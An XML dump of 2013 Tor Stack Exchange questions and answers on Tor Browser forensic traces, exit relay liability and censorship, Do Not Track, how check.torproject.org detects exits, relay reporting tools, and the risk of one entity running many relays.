  <row Id="852" PostTypeId="2" ParentId="849" CreationDate="2013-11-26T14:17:08.230" Score="4" Body="&lt;p&gt;Runa did a &lt;a href=&quot;https://blog.torproject.org/blog/forensic-analysis-tor-linux&quot; rel=&quot;nofollow&quot;&gt;forensic analysis of the Tor Browser Bundle&lt;/a&gt; while ago. According to that she found several &lt;a href=&quot;https://trac.torproject.org/projects/tor/attachment/ticket/8166/debian_changed_files.txt&quot; rel=&quot;nofollow&quot;&gt;files which changed during installation and usage&lt;/a&gt;. Most of them change during normal usage of the system. However there were some findings which are interesting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;~/.local/share/gvfs-metadata/home&lt;/code&gt; -- This contains the filename of Tor Browser Bundle tar.gz (The file you usually download first).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;~/.xsession-errors&lt;/code&gt; -- This contained a warning from the window manager. So this must not exist in any case.&lt;/li&gt;&#xA;&lt;li&gt;Shell history files and some logfiles in &lt;code&gt;/var/log&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the Tor Browser Bundle itself does not store any data. But some applications leak the fact that you're using or used it. Tor itself doesn't store data other than in &lt;code&gt;/var/lib/tor&lt;/code&gt; or &lt;code&gt;Data/Tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-11-26T14:17:08.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="853" PostTypeId="1" AcceptedAnswerId="854" CreationDate="2013-11-24T16:08:21.330" Score="5" ViewCount="152" Body="&lt;p&gt;Tor is the subject of research I am doing at the moment and I am pretty sure it does use parallelism however I am having trouble figuring out where and how. I have not found much info on this subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it utilize many processors to calculate the routing of the anonymous relays? Or to encrypt the multiple layers needed for anonymity?&lt;/p&gt;&#xA;" OwnerUserId="588" OwnerDisplayName="Sean Blahovici" LastEditorDisplayName="user5" LastEditDate="2013-11-26T18:28:57.443" LastActivityDate="2013-11-26T19:16:09.243" Title="Does The Onion Router utilize parallelism?" Tags="|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="854" PostTypeId="2" ParentId="853" CreationDate="2013-11-26T19:16:09.243" Score="3" Body="&lt;p&gt;(I've not been involved with the Tor source, so someone else may correct me or explain better..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, setting up connections and circuits happens on the main thread, but peeling off onion layers can be offloaded to other threads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For where and how, look for the logic in src/or/cpuworker.c and the threading implementation in src/common/compat.c&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-26T19:16:09.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="855" PostTypeId="1" CreationDate="2013-11-27T14:11:31.590" Score="4" ViewCount="223" Body="&lt;p&gt;I was browsing the Tor website in preparation for the &lt;a href=&quot;http://www.projectforawesome.com/about&quot; rel=&quot;nofollow&quot;&gt;Project for Awesome&lt;/a&gt; and I noticed some of the links are broken. To whom should I report these issues to? Can I suggest the fix myself?&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2015-09-17T10:35:35.513" Title="Where should I report issues with the Tor website?" Tags="|support|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="856" PostTypeId="2" ParentId="855" CreationDate="2013-11-27T15:21:34.423" Score="5" Body="&lt;p&gt;You should create tickets on &lt;a href=&quot;https://trac.torproject.org/projects/tor&quot; rel=&quot;nofollow&quot;&gt;trac&lt;/a&gt;.&#xA;If you prefer you can use e-mail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Support&#xA;help@rt.torproject.org for English    &#xA;help-ar@rt.torproject.org for Arabic&#xA;help-es@rt.torproject.org for Spanish&#xA;help-fa@rt.torproject.org for Farsi&#xA;help-fr@rt.torproject.org for French&#xA;help-zh@rt.torproject.org for Mandarin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but on e-mail we will create a ticket on Trac, so...&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="88" LastEditDate="2014-03-19T14:19:56.313" LastActivityDate="2014-03-19T14:19:56.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="857" PostTypeId="1" AcceptedAnswerId="858" CreationDate="2013-11-28T18:11:34.327" Score="8" ViewCount="972" Body="&lt;p&gt;When you are browsing regular WWW through Tor last node's (exit node's) IP is known to the server, also exit node's ISP can observe the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if somebody is browsing sites with illegal content (for example child pornography) and you happen to be the last node doesn't it seem to authorities that you were doing this and not said person?&lt;/p&gt;&#xA;" OwnerUserId="594" LastEditorUserId="923" LastEditDate="2014-07-03T08:03:36.970" LastActivityDate="2014-10-13T17:27:33.230" Title="Can using Tor make you a suspect?" Tags="|anonymity|security|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="858" PostTypeId="2" ParentId="857" CreationDate="2013-11-28T19:03:06.697" Score="9" Body="&lt;p&gt;Yes, that is a distinct possibility.&lt;br/&gt;&#xA;To prevent this the Tor project recommends a range of actions to make it clear you're running an exit relay; for instance informing your ISP.&#xA;You can read a blog post regarding this &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-11-28T19:03:06.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="859" PostTypeId="1" CreationDate="2013-11-29T00:05:33.587" Score="4" ViewCount="428" Body="&lt;p&gt;The British government has recently announced plans to require censoring of &quot;terrorist&quot; and &quot;extremist&quot; websites &lt;sup&gt;&lt;a href=&quot;http://www.theguardian.com/uk-news/2013/nov/27/ministers-order-isps-block-terrorist-websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;(1)&lt;/a&gt;&lt;a href=&quot;https://www.openrightsgroup.org/blog/2013/government-touts-backroom-deals-to-block-extremist-websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;(2)&lt;/a&gt;&lt;/sup&gt;. It seems UK residents may soon find themselves joining the ranks of those needing to use Tor more regularly for accessing content that the government may deem &lt;em&gt;too extreme&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those of us running exit nodes in the UK end up having our own access restricted then anybody elsewhere trying to access blocked content will end up with the same problem by proxy &lt;sub&gt;&lt;sup&gt;(no pun intended)&lt;/sup&gt;&lt;/sub&gt;, no matter where they are in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrapolating a bit, I begin to wonder about countries with similar blocks elsewhere in the world. Is it even worth running an exit node if there's a chance Tor users will just end up getting blocked when trying to access content that they're trying to use Tor to view in the first place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/q/670/71&quot;&gt;This question&lt;/a&gt; discusses options for DNS-level blocks, but if things go a level deeper and IPs (or even blocks of IPs) are blocked then what can we do with our exit nodes?&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-02-28T12:12:10.347" Title="Exit Nodes in restricted countries" Tags="|exit-relays|censorship|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="860" PostTypeId="1" AcceptedAnswerId="861" CreationDate="2013-11-29T01:35:56.593" Score="15" ViewCount="2954" Body="&lt;p&gt;Why isn't &lt;a href=&quot;https://en.wikipedia.org/wiki/Do_Not_Track&quot; rel=&quot;noreferrer&quot;&gt;Do Not Track&lt;/a&gt; enabled in Tor Browser Bundle by default? I'm aware that it's ultimately up to each site to decide if they'll honour the request, but wouldn't it be sensible to go ahead and enable it for the sites that do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3uFgS.png&quot; alt=&quot;TBB Privacy Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2016-12-05T15:30:04.367" Title="Why isn't Do Not Track enabled?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="861" PostTypeId="2" ParentId="860" CreationDate="2013-11-29T05:37:58.210" Score="18" Body="&lt;p&gt;This should not be considered an authoritative answer, but my best guess is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Most users do not have Do Not Track enabled. So enabling it makes your traffic stand out and makes you more uniquely fingerprintable. As bastik points out in another answer, the Tor Browser maintainer &lt;a href=&quot;https://blog.torproject.org/blog/improving-private-browsing-modes-do-not-track-vs-real-privacy-design&quot;&gt;seems to agree&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Do Not Track is technically advisory only; web sites are under no technical obligation to honor it. And even though there may someday be legal obligation, that can be set aside whenever it's convenient for those who make the laws.&lt;/li&gt;&#xA;&lt;li&gt;Better methods exist for controlling whether web sites use cookies, Flash storage, HTML5 storage, or other technologies to track you. A large number of Firefox extensions, for example, will remove these items with varying levels of aggressiveness. Though, since Tor Browser already runs in private browsing mode and has been patched to prevent writing to disk, all of these should be cleared at the end of each session, making extensions unnecessary.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, in short, it's unnecessary to enable this, and doing so may actually reduce your privacy.&lt;/p&gt;&#xA;" OwnerUserId="201" LastEditorUserId="201" LastEditDate="2013-12-04T19:39:13.937" LastActivityDate="2013-12-04T19:39:13.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="862" PostTypeId="2" ParentId="860" CreationDate="2013-11-29T16:05:21.320" Score="9" Body="&lt;p&gt;Additionally to what &lt;em&gt;Michael Hampton&lt;/em&gt; said the maintainer of the TorBrowser is &lt;a href=&quot;https://blog.torproject.org/blog/improving-private-browsing-modes-do-not-track-vs-real-privacy-design&quot;&gt;not in favor of DoNotTrack&lt;/a&gt; (DNT), because it is just another bit to fingerprint on and might not be honored at all as it is &lt;em&gt;privacy by policy&lt;/em&gt;, where &lt;em&gt;privacy by design&lt;/em&gt; approaches really work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me personally it is also a short-coming of DNT, that it is implemented as black, white or gray. I couldn't allow a website to track me if I want to block some others, or the other way around.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-11-29T16:05:21.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="863" PostTypeId="2" ParentId="859" CreationDate="2013-11-30T11:08:55.837" Score="1" Body="&lt;p&gt;The sad part about those exit nodes is that they don't know about where they can't go and if they don't know they can't tell clients in advance that there exit will be not working for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the ISP is messing with the traffic, e.g. showing a website that tells one an error occurred or that they are indeed blocking the destination those nodes would get the &lt;em&gt;BadExit&lt;/em&gt; flag as it is irrelevant who is messing with the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/badRelays&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;BadExit&lt;/em&gt;'s will not be used as exits.&lt;/a&gt; This, not for human intended, protocol &lt;a href=&quot;https://onionoo.torproject.org/details?flag=badexit&quot; rel=&quot;nofollow&quot;&gt;shows all BadExits.&lt;/a&gt; Luckily there's a &lt;a href=&quot;http://globe.rndm.de/#/search/query=&amp;amp;filters%5Bflag%5D=BadExit&quot; rel=&quot;nofollow&quot;&gt;list for humans provided via Globe.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arguably the nodes would be relevant for some people, but exits are supposed to be useful for anyone, unless the exit policy excludes ports or destinations.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2013-11-30T11:23:54.897" LastActivityDate="2013-11-30T11:23:54.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="864" PostTypeId="1" CreationDate="2013-11-30T15:43:19.927" Score="10" ViewCount="11043" Body="&lt;p&gt;Google's Chrome OS runs on Chromebooks built by different manufacturers. Various applications can be installed via the Chrome store but there's no straightforward way to install Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could one set up Tor to run on a Chromebook or any device running Chrome OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;sup&gt;(I'm not looking to just proxy Chrome through another Tor'd device like &lt;a href=&quot;http://www.omgchrome.com/an-introduction-to-tor-on-chrome-os/&quot;&gt;this page suggests&lt;/a&gt;, even though it is a decent idea.)&lt;/sup&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-11-30T15:52:09.113" LastActivityDate="2022-02-18T09:08:44.217" Title="Tor on Chromebook/Chrome OS" Tags="|chrome-os|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="865" PostTypeId="2" ParentId="750" CreationDate="2013-12-01T00:55:46.623" Score="4" Body="&lt;p&gt;&lt;em&gt;(not a full answer, but relevant)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ICANN published the study &lt;a href=&quot;http://www.icann.org/en/about/staff/security/ssr/name-collision-02aug13-en.pdf&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Name Collision in the DNS&lt;/em&gt; (PDF, 3.3 MB)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A study of the likelihood and potential consequences of collision between new public gTLD labels and existing private uses of the same strings&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="320" LastActivityDate="2013-12-01T00:55:46.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="866" PostTypeId="1" CreationDate="2013-12-01T07:29:28.110" Score="4" ViewCount="577" Body="&lt;p&gt;How many streams does Tor attach to the same circuit, i.e. when Tor think that it is a time to build a new circuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the lifetime of a circuit is 10 minutes (for new connections). But before that 10 minutes, can we attach all the coming streams to that circuit or there is a limitation on the number of streams?&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="71" LastEditDate="2014-01-07T14:43:42.247" LastActivityDate="2014-01-07T14:43:42.247" Title="How many streams does Tor attach to the same circuit?" Tags="|circuit|stream-isolation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="867" PostTypeId="1" AcceptedAnswerId="869" CreationDate="2013-12-02T08:14:40.510" Score="2" ViewCount="987" Body="&lt;p&gt;I'd like to start Tor Browser automatically on statup. What is the best way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Debian 7 &quot;Wheezy&quot; with Gnome 3.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="923" LastEditDate="2014-03-04T23:39:18.473" LastActivityDate="2014-03-04T23:39:18.473" Title="How can I auto start Tor Browser Bundle in Debian?" Tags="|tor-browser-bundle|debian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="868" PostTypeId="2" ParentId="867" CreationDate="2013-12-02T10:09:50.320" Score="0" Body="&lt;p&gt;Add it to the correct session file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.acm.uiuc.edu/workshops/cool_unix/xinitrc.html&quot; rel=&quot;nofollow&quot;&gt;http://www.acm.uiuc.edu/workshops/cool_unix/xinitrc.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-12-02T10:09:50.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="869" PostTypeId="2" ParentId="867" CreationDate="2013-12-02T11:19:05.093" Score="2" Body="&lt;p&gt;in terminal type &lt;code&gt;gnome-session-properties&lt;/code&gt; then check the tor option in list&#xA;if tor is not in the list then you can add it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TN9I.png&quot; alt=&quot;startup applications preferences &quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="566" LastActivityDate="2013-12-02T11:19:05.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="871" PostTypeId="5" CreationDate="2013-12-02T20:53:26.150" Score="0" Body="&lt;p&gt;Chrome OS is a Linux-based operating system designed by Google to work primarily with web applications. It consists almost entirely of just the Google Chrome web browser and associated addons/plugins.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-02T21:57:45.930" LastActivityDate="2013-12-02T21:57:45.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="872" PostTypeId="4" CreationDate="2013-12-02T20:53:26.150" Score="0" Body="Chrome OS is a Linux-based operating system designed by Google to work primarily with web applications." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-02T21:57:52.413" LastActivityDate="2013-12-02T21:57:52.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="873" PostTypeId="2" ParentId="190" CreationDate="2013-12-03T04:41:47.117" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can somebody explain how the check.tp.o query works, for normal users, so its clear why this happens?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;check.tp.o is composed of two parts, &lt;a href=&quot;https://gitweb.torproject.org/tordnsel.git&quot;&gt;TorDNSEL&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/check.git&quot;&gt;TorCheck&lt;/a&gt;. TorDNSEL is used to create a list of all the IPs that correspond to exit relays. That is, when you exit from a relay, what IP do you assume. It does this by running an http server listening on a few ports and building various circuits through the relays back to itself. This is done every hour, after a new consensus is reached in the Tor network and currently takes about 20 minutes to complete. The list is then fed to TorCheck, where it's combined with the current consensus and exit policies of the relays, to create a map of all the IPs that can exit to check.tp.o on port 443 from the Tor network. When you launch the TorBrowserBundle (and hit Test Network Settings in the 3.x series), TorCheck compares the remote address of the request it receives to its map and returns True if it finds it there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In particular, what are all the cases that can lead to false negatives? I think the two big ones are &quot;the exit relay makes outbound connections from a different IP address than it lists in the directory, and the Tordnsel tester hasn't caught it yet or otherwise has a bug&quot; and &quot;that exit relay only came up recently so check doesn't know about it yet&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The cases I know about are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For one, TorDNSEL is not currently listening on port 443 so certain restrictive exit policies won't let it learn the exit address while still permitting requests to check.tp.o&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A new consensus in the Tor network is reached every hour. The tor client, however, keeps a cache of the consensus around for a while. Over time, relays fluctuate in and out of the consensus as they go offline, reboot or whathaveyou. If a relay that used to be part of the consensus (and is thus in a clients cache) comes back online, a client may exit from it before the hour, when the new consensus is reached, and TorCheck won't know about it yet. In an attempt to mitigate this scenario, TorCheck keeps a map of all the IPs from the past 16 hours. There's a tradeoff here between false positives and negatives.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some relays see a lot of churn in their IPs throughout the day. TorCheck tries to keep track of all the IPs it has seen from a given relay over time. Again, this can result in more false positives and isn't guaranteed to catch a new IP before the hour.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's certainly a lag between the time that the new consensus is reached (on the hour) and when TorCheck is updated. As stated above, TorDNSEL continues to update its exit list until 20 minutes past the hour. There's still a timing issue to be worked out here and it's possible that TorCheck doesn't have the right IP for up to an hour after a new relay enters the consensus.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bugs in both TorDNSEL and TorCheck are always a posibility.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When users encounter one of these false negatives, should they use a separate &quot;IP check&quot; website like ipchicken.com to check/verify?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It may be better to click on TorButton and create a New Identity, and then hit check.tp.o again.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why did TBB 3.0 switch to using a local homepage instead of using Tor Check? What are the benefits?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For one, it's not a great idea to have the entire userbase hitting a single website to learn &quot;tor or not&quot; every time they launch their browser. Certainly the website has had scalability issues in the past and will only continue to do so as the userbase grows. More importantly, however, is that it probably isn't wise to rely on a hostile network for confidence that you are in fact using tor properly.&lt;/p&gt;&#xA;" OwnerUserId="180" LastActivityDate="2013-12-03T04:41:47.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="875" PostTypeId="1" AcceptedAnswerId="878" CreationDate="2013-12-03T09:24:55.987" Score="2" ViewCount="166" Body="&lt;p&gt;While Atlas reports&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname    Bandwidth   Uptime  IP      &#xA;lavizrap    102.4 KB/s  2h 7m   24.134.58.142&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://atlas.torproject.org/#search/lavizrap&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#search/lavizrap&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vidalia Network Overview reports&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lavizrap (Online)&#xA;Ort: Deutschland&#xA;IP-Adresse: 24.134.58.142&#xA;Bandbreite: 40.00 KB/s&#xA;Läuft seit: 3 hours 10 mins &#xA;Zuletzt aktualisiert: 2013-12-03 07:12:36 GMT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why 102.4 KB/s. vs 40.00 KB/s&#xA;and Uptime: 2h 7m vs. 3 hours 10 mins ?&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="923" LastEditDate="2014-07-03T08:03:43.387" LastActivityDate="2014-07-03T08:03:43.387" Title="Atlas and Vidalia report different information about Tor relay" Tags="|relays|vidalia|atlas|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="876" PostTypeId="1" AcceptedAnswerId="1070" CreationDate="2013-12-03T15:52:17.290" Score="12" ViewCount="10648" Body="&lt;p&gt;&lt;a href=&quot;http://www.webrtc.org/&quot;&gt;WebRTC&lt;/a&gt; is yet another technology that has the possibility to change the face of the web, but is it supported in Tor ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching the tor-dev mailing, there is &lt;a href=&quot;http://www.mail-archive.com/tor-talk@lists.torproject.org/msg08733.html&quot;&gt;this thread on the WebRTC&lt;/a&gt; but it is unclear if there is official enduser support, or even if realtime communications are even viable given the latency introduced by the anonymizing process.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2013-12-03T15:59:00.370" LastActivityDate="2015-01-11T11:58:19.837" Title="Does Tor work with WebRTC?" Tags="|browsers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="877" PostTypeId="2" ParentId="682" CreationDate="2013-12-03T16:25:47.033" Score="5" Body="&lt;p&gt;What is happening is that Tor is returning the SOCKS error code &lt;code&gt;SOCKS5_TTL_EXPIRED&lt;/code&gt; (0x06) as a result of a stream being closed for reason &lt;code&gt;END_STREAM_REASON_TIMEOUT&lt;/code&gt;. There are many potential reasons why this might be happening but to find out which stream is timing out, and why, you should try enabling logging at level INFO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely, the circuit you are using is going through one or more overloaded nodes and so your client is not getting a response in time. Alternatively there may be a problem with DNS resolution at the exit node you are using. If you are accessing a hidden service then there are more nodes in the circuit so it is more likely this error will be triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retrying the request should normally clear this problem and it should not require restarting Tor – if a stream is failing then the circuit selected should be marked as unusable. If the problem keeps occurring until Tor gets restarted then it could be a bug and would be interesting to investigate further.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-12-03T16:25:47.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="878" PostTypeId="2" ParentId="875" CreationDate="2013-12-03T18:46:03.750" Score="4" Body="&lt;p&gt;With Atlas, you are seeing consensus information from the Tor network, as retrieved via Onionoo. It is based on reports to and measurements by Tor network authority servers. It is a periodic report, and does not necessarily reflect the instantaneous state of your relay (recent changes you've made will take a while to show). This is the kind of information that other Tor users' Tor Browser Bundles will rely upon for selecting relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Vidalia, you are seeing a direct local report from your relay. The local reporting shows your configured settings (BandwidthRate, MaxAdvertisedBandwidth, etc.). It reflects the immediate state of your relay. It can also show close to actual byte counts sent and received by your relay, as well as other private details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fine manual and other documentation for Atlas &lt;a href=&quot;https://atlas.torproject.org/#about&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#about&lt;/a&gt; and Onionoo &lt;a href=&quot;https://www.torproject.org/projects/onionoo.html&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/onionoo.html&lt;/a&gt; explain more about the network reporting.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2013-12-03T18:46:03.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="879" PostTypeId="2" ParentId="864" CreationDate="2013-12-03T19:39:10.157" Score="4" Body="&lt;p&gt;Currently it seems like the only options involve either using a proxy on an external device as you listed, or rooting and dual-booting a linux distro (eg chrubuntu) on the chromebook.&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-12-03T19:39:10.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="880" PostTypeId="1" CreationDate="2013-12-04T05:01:45.630" Score="1" ViewCount="314" Body="&lt;p&gt;Every time I launch the Tor Browser it tells me &quot;There is a security update available for the Tor Browser Bundle. Click here to go to the download page&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded it twice and replace the file 5+ times, can anyone shed some light on this?&lt;/p&gt;&#xA;" OwnerUserId="613" LastEditorDisplayName="user5" LastEditDate="2013-12-06T14:56:48.737" LastActivityDate="2013-12-09T14:21:56.640" Title="Security Update requires installation every time I launch TorBrowser" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="881" PostTypeId="1" CreationDate="2013-12-04T07:14:25.043" Score="1" ViewCount="165" Body="&lt;p&gt;There 4626 relays online. What is stopping a single entity from adding, say, 9000 relays to the network around the world so they can occasionally watch bits of the network? If the cost of this is unimaginable then what about a single entity operating a botnet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody calculated the ratio of 'real' nodes to 'fbi' nodes in such a scenario before it became a genuine problem?&lt;/p&gt;&#xA;" OwnerUserId="614" LastActivityDate="2013-12-04T14:38:06.917" Title="How vulnerable would Tor users be if a single entity controlled a large number of nodes?" Tags="|security|attacks|deanonymization|surveillance|vulnerability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="883" PostTypeId="2" ParentId="881" CreationDate="2013-12-04T14:04:10.037" Score="1" Body="&lt;p&gt;('How vulnerable' is a bit tricky, as there is no unit or scale.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the Bad Guy can see all internet traffic, owning relays does not help much for timing correlation attacks. You're always vulnerable to those, no matter who owns which relays or how many. (Generally, more relays and more traffic make it easier to hide.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides timing, which is a bit fuzzy and becomes harder with more traffic, the only real way to know which incoming traffic belongs to which outgoing traffic is to own the relay. Each relay in a circuit knows who is the previous and the next relay; where packets come from and where they go to. Only the exit node can see the actual traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client --&gt; Guard -&gt; Middle -&gt; Exit --&gt; Destination&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bad Guy would have to own the entire circuit, Guard, Middle, and Exit, in order to see and follow the traffic from the Client to the Destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if the Bad Guy owns a bunch of relays, they can still not target anyone specifically. They have to sit and wait and hope that someone happens to create a circuit using only their relays.&#xA;The probability would be something like (( bad / ( good + bad )) ^ 3 ) except there are other factors at play, like conditions to become a guard and client guard rotation.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-04T14:04:10.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
